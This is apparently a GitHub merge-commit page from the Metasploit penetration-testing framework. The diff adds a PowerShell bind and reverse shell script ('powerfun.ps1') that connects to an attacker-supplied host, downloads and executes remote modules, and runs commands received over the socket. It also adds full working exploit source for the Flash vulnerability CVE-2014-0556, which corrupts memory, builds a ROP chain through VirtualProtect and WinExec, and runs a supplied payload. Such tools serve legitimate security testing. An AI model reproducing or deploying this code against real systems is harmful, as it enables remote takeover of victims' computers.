Skip to content

Commit 8163c3c

Browse files
mbuck-r7mbuck-r7
committed
Merge branch 'master' into staging/rails-4.0
Conflicts: Gemfile.lock plugins/nessus.rb
2 parents 83baf70 + 1a7a5c2 commit 8163c3c

File tree

292 files changed

+8957
-2518
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

292 files changed

+8957
-2518
lines changed

‎Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ PATH
5656
bcrypt
5757
jsobfu (~> 0.2.0)
5858
json
59-
meterpreter_bins (= 0.0.21)
59+
meterpreter_bins (= 0.0.22)
6060
msgpack
6161
nokogiri
6262
packetfu (= 1.1.9)
@@ -152,7 +152,7 @@ GEM
152152
json (1.8.2)
153153
mail (2.6.3)
154154
mime-types (>= 1.16, < 3)
155-
meterpreter_bins (0.0.21)
155+
meterpreter_bins (0.0.22)
156156
method_source (0.8.2)
157157
mime-types (2.4.3)
158158
mini_portile (0.6.2)

‎data/exploits/CVE-2014-0556/msf.swf

17.3 KB
Binary file not shown.

‎data/exploits/powershell/powerfun.ps1

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
# Powerfun - Written by Ben Turner & Dave Hardy
2+
3+
function Get-Webclient
4+
{
5+
$wc = New-Object -TypeName Net.WebClient
6+
$wc.UseDefaultCredentials = $true
7+
$wc.Proxy.Credentials = $wc.Credentials
8+
$wc
9+
}
10+
function powerfun
11+
{
12+
Param(
13+
[String]$Command,
14+
[String]$Download
15+
)
16+
Process {
17+
$modules = @(MODULES_REPLACE)
18+
if ($Command -eq "bind")
19+
{
20+
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
21+
$listener.start()
22+
$client = $listener.AcceptTcpClient()
23+
}
24+
if ($Command -eq "reverse")
25+
{
26+
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
27+
}
28+
$stream = $client.GetStream()
29+
[byte[]]$bytes = 0..255|%{0}
30+
if ($Download -eq "true")
31+
{
32+
ForEach ($module in $modules)
33+
{
34+
(Get-Webclient).DownloadString($module)|Invoke-Expression
35+
}
36+
}
37+
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
38+
$stream.Write($sendbytes,0,$sendbytes.Length)
39+
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
40+
$stream.Write($sendbytes,0,$sendbytes.Length)
41+
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
42+
{
43+
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
44+
$data = $EncodedText.GetString($bytes,0, $i)
45+
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
46+
47+
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
48+
$x = ($error[0] | Out-String)
49+
$error.clear()
50+
$sendback2 = $sendback2 + $x
51+
52+
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
53+
$stream.Write($sendbyte,0,$sendbyte.Length)
54+
$stream.Flush()
55+
}
56+
$client.Close()
57+
$listener.Stop()
58+
}
59+
}

‎data/meterpreter/meterpreter.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@
2222
# this MUST be imported for urllib to work on OSX
2323
try:
2424
import SystemConfiguration as osxsc
25+
osxsc.SCNetworkInterfaceCopyAll()
2526
has_osxsc = True
2627
except ImportError:
2728
has_osxsc = False

‎external/source/exploits/CVE-2014-0556/Main.as

Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Download the Flex SDK (4.6)
4+
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
5+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
6+
// 4. Build with: mxmlc -o msf.swf Main.as
7+
8+
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
9+
// Modified to be used from msf
10+
11+
package
12+
{
13+
import flash.display.Sprite
14+
import flash.display.BitmapData
15+
import flash.geom.Rectangle
16+
import flash.utils.ByteArray
17+
import flash.display.LoaderInfo
18+
import mx.utils.Base64Decoder
19+
20+
public class Main extends Sprite
21+
{
22+
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
23+
private var uv:Vector.<Object> = new Vector.<Object>(12800)
24+
private var bd:BitmapData = new BitmapData(128, 16)
25+
private var i:uint = 0
26+
27+
public function Main()
28+
{
29+
var b64:Base64Decoder = new Base64Decoder()
30+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
31+
var payload:String = b64.toByteArray().toString()
32+
33+
for (i = 0; i < bv.length; i++) {
34+
bv[i] = new ByteArray()
35+
bv[i].length = 0x2000
36+
bv[i].position = 0xFFFFF000
37+
}
38+
39+
for (i = 0; i < bv.length; i++)
40+
if (i % 2 == 0) bv[i] = null
41+
42+
for (i = 0; i < uv.length; i++) {
43+
uv[i] = new Vector.<uint>(1022)
44+
}
45+
46+
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
47+
48+
for (i = 0; ; i++)
49+
if (uv[i].length == 0xffffffff) break
50+
51+
for (var i2:uint = 1; i2 < uv.length; i2++) {
52+
if (i == i2) continue
53+
uv[i2] = new Vector.<Object>(1014)
54+
uv[i2][0] = bv[6401]
55+
uv[i2][1] = this
56+
}
57+
58+
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
59+
bv[6401].endian = "littleEndian"
60+
bv[6401].length = 0x500000
61+
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
62+
var main:uint = uv[i][0xfffffc09] - 1
63+
var vtable:uint = vector_read(main)
64+
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
65+
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
66+
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
67+
byte_write(uv[i][0])
68+
69+
var flash:uint = base(vtable)
70+
var winmm:uint = module("winmm.dll", flash)
71+
var kernel32:uint = module("kernel32.dll", winmm)
72+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
73+
var winexec:uint = procedure("WinExec", kernel32)
74+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
75+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
76+
77+
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
78+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
79+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
80+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
81+
82+
byte_write(buffer + 0x100, payload, true)
83+
byte_write(buffer + 0x20070, xchgeaxespret)
84+
byte_write(buffer + 0x20000, xchgeaxesiret)
85+
byte_write(0, virtualprotect)
86+
87+
// VirtualProtect
88+
byte_write(0, winexec)
89+
byte_write(0, buffer + 0x30000)
90+
byte_write(0, 0x1000)
91+
byte_write(0, 0x40)
92+
byte_write(0, buffer + 0x80)
93+
94+
// WinExec
95+
byte_write(0, buffer + 0x30000)
96+
byte_write(0, buffer + 0x100)
97+
byte_write(0)
98+
99+
byte_write(main, buffer + 0x20000)
100+
this.toString()
101+
}
102+
103+
private function vector_write(addr:uint, value:uint = 0):void
104+
{
105+
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
106+
}
107+
108+
private function vector_read(addr:uint):uint
109+
{
110+
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
111+
}
112+
113+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
114+
{
115+
if (addr) bv[6401].position = addr
116+
if (value is String) {
117+
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
118+
if (zero) bv[6401].writeByte(0)
119+
} else bv[6401].writeUnsignedInt(value)
120+
}
121+
122+
private function byte_read(addr:uint, type:String = "dword"):uint
123+
{
124+
bv[6401].position = addr
125+
switch(type) {
126+
case "dword":
127+
return bv[6401].readUnsignedInt()
128+
case "word":
129+
return bv[6401].readUnsignedShort()
130+
case "byte":
131+
return bv[6401].readUnsignedByte()
132+
}
133+
return 0
134+
}
135+
136+
private function base(addr:uint):uint
137+
{
138+
addr &= 0xffff0000
139+
while (true) {
140+
if (byte_read(addr) == 0x00905a4d) return addr
141+
addr -= 0x10000
142+
}
143+
return 0
144+
}
145+
146+
private function module(name:String, addr:uint):uint
147+
{
148+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
149+
while (true) {
150+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
151+
if (!entry) throw new Error("FAIL!");
152+
bv[6401].position = addr + entry
153+
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
154+
}
155+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
156+
}
157+
158+
private function procedure(name:String, addr:uint):uint
159+
{
160+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
161+
var numberOfNames:uint = byte_read(eat + 0x18)
162+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
163+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
164+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
165+
for (var i:uint = 0; ; i++) {
166+
var entry:uint = byte_read(addressOfNames + i * 4)
167+
bv[6401].position = addr + entry
168+
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
169+
}
170+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
171+
}
172+
173+
private function gadget(gadget:String, hint:uint, addr:uint):uint
174+
{
175+
var find:uint = 0
176+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
177+
var value:uint = parseInt(gadget, 16)
178+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
179+
return addr + i
180+
}
181+
}
182+
}

‎lib/metasm/metasm/exe_format/javaclass.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ def decode(c)
9696
when 'NameAndType'
9797
@info = ConstantNameAndType.decode(c)
9898
else
99-
raise 'unkown constant tag'
99+
raise 'unknown constant tag'
100100
return
101101
end
102102
end

0 commit comments

Comments
 (0)